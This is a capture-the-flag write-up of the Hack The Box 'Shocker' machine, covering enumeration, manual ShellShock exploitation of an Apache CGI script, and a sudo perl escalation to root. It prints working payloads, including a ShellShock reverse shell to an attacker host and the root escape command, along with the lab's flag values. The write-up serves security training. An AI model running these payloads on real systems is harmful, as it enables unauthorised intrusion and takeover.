Shocker
TL;DR
# 1. Find the CGI script
gobuster dir -u http://<attack_ip>/cgi-bin/ -w /usr/share/seclists/Discovery/Web-Content/common.txt -x sh,pl,cgi
# 2. Confirm ShellShock RCE via User-Agent (test with whoami first)
curl -H "User-Agent: () { :; }; echo; /usr/bin/whoami" http://<attack_ip>/cgi-bin/user.sh
# 3. Catch reverse shell
nc -lvnp 4444
# 4. ShellShock reverse shell payload (in Burp User-Agent field)
() { :; }; echo; /bin/bash -i >& /dev/tcp/YOUR_IP/4444 0>&1
# 5. Privesc
sudo /usr/bin/perl -e 'exec "/bin/sh"'
Given Info
Box description: Shocker is an Easy Linux box centred around the ShellShock vulnerability (CVE-2014-6271), exposed via an Apache CGI script. The box name itself is the hint.
Recommended modules:
- Web Enumeration
- File Inclusion / CGI concepts
- Linux Privilege Escalation
Note: This writeup covers manual exploitation only — no Metasploit. A Metasploit path exists via
exploit/multi/http/apache_mod_cgi_bash_env_execbut working through the manual approach teaches the vulnerability mechanics far better.
Where I Got Stuck
- Wrong wordlist — ran gobuster with a DNS subdomain wordlist against the web root. Got nothing. Wasted ~30 minutes before realising the wordlist was completely wrong for directory enumeration. Match the wordlist to the task.
- Missing semicolon — the ShellShock payload needs
() { :; };— I had() { : }without the trailing semicolons. Got 500 errors until I spotted it. - Missing
echo;— without the blank line after the function definition, the HTTP response body doesn’t render. The server returns a 200 but with no body. Spent time thinking the payload wasn’t working when it was. - No full paths — commands in CGI context don’t inherit a normal PATH.
/usr/bin/whoamiworks.whoamidoesn’t. Always use full binary paths in ShellShock payloads.
Enumeration
Nmap
nmap -sV -sC -oN nmap/initial <attack_ip>
Results:
PORT STATE SERVICE VERSION
80/tcp open http Apache httpd 2.4.18 (Ubuntu)
2222/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.2
Interesting findings:
- Apache 2.4.18 — notably old, consistent with ShellShock-era configs
- SSH on non-standard port 2222
- No page title on the web server — minimal default page
Gobuster — Web Root
Attempt 1 (wrong wordlist):
gobuster dns -d <attack_ip> -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt
Result: nothing. DNS subdomain wordlist against a directory — completely wrong tool for the job.
Attempt 2 (correct wordlist):
gobuster dir -u http://<attack_ip> -w /usr/share/seclists/Discovery/Web-Content/common.txt
Results:
/cgi-bin/ (Status: 403)
/index.html (Status: 200)
/cgi-bin/ returning 403 is interesting — the directory exists but is forbidden. Worth enumerating inside it.
Gobuster — CGI-bin
gobuster dir -u http://<attack_ip>/cgi-bin/ \
-w /usr/share/seclists/Discovery/Web-Content/common.txt \
-x sh,pl,cgi
The
-x sh,pl,cgiextension flag is critical here. Without it, gobuster won’t find scripts inside the CGI directory. Always add relevant extensions when enumerating CGI paths.
Results:
/cgi-bin/user.sh (Status: 200)
Visited user.sh in browser — returned uptime output. Confirmed: this is a Bash CGI script executing on the server.
CVE spotted: Apache CGI + Bash = ShellShock candidate. The box name confirmed it.
Attack Plan
Option A: Metasploit ✗ (skipped intentionally)
Metasploit has exploit/multi/http/apache_mod_cgi_bash_env_exec which automates this entirely. Skipped to understand the manual mechanics. If you just need the shell fast, it works.
Option B: Manual ShellShock via Burp Suite ✓
Why ShellShock works here: When Apache passes HTTP headers to a CGI script running under Bash, Bash processes environment variables. The ShellShock bug causes Bash to execute commands appended after a specially crafted function definition in those variables.
Payload structure:
() { :; }; echo; /usr/bin/whoami
() { :; };— malformed function definition that triggers the bugecho;— outputs a blank line required for HTTP header/body separation/usr/bin/whoami— the actual command (full path required in CGI context)
Step 1 — Capture the request in Burp
Send a GET request to http://<attack_ip>/cgi-bin/user.sh, intercept in Burp, send to Repeater.
Step 2 — Test RCE with whoami
Replace the User-Agent header:
User-Agent: () { :; }; echo; /usr/bin/whoami
Send. Response body:
shelly
RCE confirmed as user shelly.
Step 3 — Set up listener
nc -lvnp 4444
Step 4 — Send reverse shell payload
Replace User-Agent:
User-Agent: () { :; }; echo; /bin/bash -i >& /dev/tcp/YOUR_IP/4444 0>&1
Send. Shell caught as shelly.
shelly@Shocker:/usr/lib/cgi-bin$
Post Exploitation / Privilege Escalation
Step 1 — Upgrade the shell
python3 -c 'import pty;pty.spawn("/bin/bash")'
Step 2 — Check sudo permissions
sudo -l
Result:
(root) NOPASSWD: /usr/bin/perl
shelly can run perl as root with no password. Straight to GTFOBins.
Step 3 — Perl sudo escape
sudo /usr/bin/perl -e 'exec "/bin/sh"'
Running
sudo /usr/bin/perlwithout arguments drops into an interactive Perl REPL — not useful. The-e 'exec "/bin/sh"'flag is what spawns the shell.
Result: # — root shell.
id
uid=0(root) gid=0(root) groups=0(root)
Flags
🚩 User Flag — click to reveal
cc05a4b26d073647331550733c5abdac🚩 Root Flag — click to reveal
c672f8e104f3e38dc0e30b30087c4960What I Learned
- Wordlist selection matters — DNS subdomain lists are for DNS enumeration. Directory lists are for directories. Wrong tool = zero results, wasted time.
- Extensions are critical for CGI — gobuster against
/cgi-bin/without-x sh,pl,cgifinds nothing. Always add extensions relevant to the directory type. - ShellShock mechanics —
() { :; };tricks Bash into treating what follows as a function definition, then executes the trailing command. Theecho;blank line satisfies HTTP header/body separation. Full binary paths required in CGI context. - Box name = hint — Shocker → ShellShock. HTB box names frequently point at the primary vulnerability. Worth Googling the name before enumerating if you’re stuck.
- GTFOBins — when
sudo -lreveals a binary, go straight to GTFOBins. Don’t guess.